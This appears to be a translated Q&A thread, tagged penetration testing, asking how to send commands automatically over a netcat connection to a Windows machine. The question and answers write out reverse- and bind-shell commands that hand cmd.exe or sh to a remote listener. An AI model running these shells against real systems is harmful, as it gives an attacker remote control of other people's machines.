Ncat连接并立即在Windows上执行命令

时间:2017-03-16 03:09:17

标签: linux bash networking netcat penetration-testing

我正试图想办法从侦听Linux机器打开netcat连接并立即在目标Windows机器上执行命令(例如dir或ipconfig)。

类似的东西:

Linux机器:

nc -lvp 4444; dir

Windows机器:

ncat 192.168.1.25 4444 -e cmd.exe

我需要在与Windows机器建立连接后立即运行命令。

如果可以使用bash脚本完成此操作,那也会很棒。我尝试编写脚本,但在放入Windows命令shell后它不会注册任何命令。

任何帮助或建议将不胜感激!感谢。

2 个答案:

答案 0 :(得分:2)

https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/

这可能会有帮助。

应为:

##On the server. It opens the 
##listening machine's shell.
ncat -lkv <port number> -c "sh"

##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>

答案 1 :(得分:0)

该命令应该在nc的标准输入上,而不是在nc完成后运行的本地命令。

printf "dir\n" | nc -lvp 444

另见Pass commands as input to another command (su, ssh, sh, etc)